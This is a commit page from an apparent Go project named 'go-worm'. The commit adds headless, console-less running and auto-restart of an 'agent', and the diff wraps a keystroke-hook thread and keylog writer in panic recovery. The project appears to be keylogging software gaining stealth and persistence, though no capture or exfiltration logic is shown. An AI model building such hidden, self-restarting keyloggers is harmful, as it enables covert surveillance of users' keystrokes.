refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper
This commit is contained in:
2026-09-01 20:12:12 +03:00
parent 36cb847f9e
commit 2318684e93
19 changed files with 299 additions and 63 deletions
+3
View File
@@ -10,6 +10,7 @@ import (
"unsafe"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
const (
@@ -83,12 +84,14 @@ func startPlatform(_ *Writer, events chan Event, stop <-chan struct{}, done chan
go func() {
defer close(done)
defer helpers.RecoverLog("keylog-hook")
_ = runHookThread(ready)
hookEvents = nil
hookThreadID = 0
}()
go func() {
defer helpers.RecoverLog("keylog-stop")
select {
case <-ready:
case <-stop:
+2
View File
@@ -4,6 +4,7 @@ import (
"sync"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
var (
@@ -44,6 +45,7 @@ func Start() error {
writerWG.Add(1)
go func() {
defer writerWG.Done()
defer helpers.RecoverLog("keylog-writer")
for {
select {
case event := <-events: